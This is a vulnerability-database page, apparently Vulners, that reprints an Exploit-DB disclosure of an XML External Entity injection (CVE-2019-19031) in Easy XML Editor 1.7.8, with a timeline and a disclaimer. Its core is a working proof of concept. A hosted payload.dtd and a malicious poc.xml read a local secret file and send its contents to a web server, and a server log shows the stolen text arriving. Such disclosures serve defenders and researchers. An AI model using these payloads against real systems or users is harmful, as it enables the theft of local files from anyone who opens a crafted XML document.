Lucene search
K

Easy XML Editor 1.7.8 - XML External Entity Injection

🗓️ 20 Jan 2020 00:00:00Reported by Javier OlmedoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 168 Views

Easy XML Editor 1.7.8 - XML External Entity Injection vulnerability in version 1.7.8 and before allows malicious XML file to read arbitrary files. Web server can receive contents of secret files

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Easy XML Editor 1.7.8 - XML External Entity Injection Vulnerability
20 Jan 202000:00
zdt
ATTACKERKB
CVE-2019-19031
30 Dec 201920:15
attackerkb
Circl
CVE-2019-19031
18 Mar 202414:46
circl
CNVD
Easy XML Editor Code Problem Vulnerability
3 Jan 202000:00
cnvd
CVE
CVE-2019-19031
30 Dec 201919:12
cve
Cvelist
CVE-2019-19031
30 Dec 201919:12
cvelist
EUVD
EUVD-2019-8673
7 Oct 202500:30
euvd
exploitpack
Easy XML Editor 1.7.8 - XML External Entity Injection
20 Jan 202000:00
exploitpack
NVD
CVE-2019-19031
30 Dec 201920:15
nvd
OSV
CVE-2019-19031
30 Dec 201920:15
osv
Rows per page
# Exploit Title: Easy XML Editor 1.7.8 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-21
# Vendor: Richard Wuerflein
# Software Link: https://www.edit-xml.com/Easy_XML_Editor.exe
# Affected Version: 1.7.8 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19031
# References:
# https://hackpuntes.com/cve-2019-19031-easy-xml-editor-1-7-8-inyeccion-xml/
 
# 1. Technical Description
# Easy XML Editor version 1.7.8 and before are affected by XML External Entity Injection vulnerability
# through the malicious XML file. This allows a malicious user to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a SECRET.TXT file with any content in desktop.

# 2.4 Open poc.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\<USER>\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER]  Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jan 2020 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 25.5
CVSS 3.18.1
EPSS0.05988
168